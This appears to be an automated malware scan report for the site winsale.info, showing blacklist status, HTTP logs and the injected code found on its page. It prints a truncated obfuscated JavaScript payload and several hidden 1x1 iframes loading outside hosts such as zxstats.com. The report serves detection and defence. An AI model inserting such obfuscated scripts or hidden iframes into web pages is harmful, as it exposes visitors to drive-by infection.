Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=winsale.info
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://winsale.info/ | 200 OK Content-Length: 10304 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var zaee="4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2 ...[3475 bytes skipped]... Antivirus reports:
Hidden iFrame found. size: 1x1 src: http://axstat.com/ <iframe src="http://axstat.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. The same iFrame was found in 5 websites. size: 1x1 src: http://adsensestat.com/ <iframe src="http://adsensestat.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. The same iFrame was found in 7 websites. size: 1x1 src: http://stxstats.com/ <iframe src="http://stxstats.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. size: 1x1 src: http://bali-planet.com/ <iframe src="http://bali-planet.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. The same iFrame was found in 5 websites. size: 1x1 src: http://seastats.com/ <iframe src="http://seastats.com/" width="1" height="1" frameborder="0"> Malicious iFrame found. The same iFrame was found in 9 websites. size: 1x1 src: http://zxstats.com/ This URL is marked by Yandex as suspicious <iframe src="http://zxstats.com/" width="1" height="1" frameborder="0"> | ||
http://winsale.info/test404page.js | 404 Not Found Content-Length: 1363 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: winsale.info
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 02 Oct 2014 06:49:34 GMT
Accept-Ranges: bytes
ETag: "d07cd1f3-2840-49c5f719e1eb7"
Server: Apache
Content-Length: 10304
Content-Type: text/html
Last-Modified: Wed, 16 Feb 2011 05:20:48 GMT
...10304 bytes of data.
GET / HTTP/1.1
Host: winsale.info
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 02 Oct 2014 06:49:34 GMT
Accept-Ranges: bytes
ETag: "d07cd1f3-2840-49c5f719e1eb7"
Server: Apache
Content-Length: 10304
Content-Type: text/html
Last-Modified: Wed, 16 Feb 2011 05:20:48 GMT
...10304 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: winsale.info
Referer: http://www.google.com/search?q=winsale.info
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: winsale.info
Referer: http://www.google.com/search?q=winsale.info
Result:
The result is similar to the first query. There are no suspicious redirects found.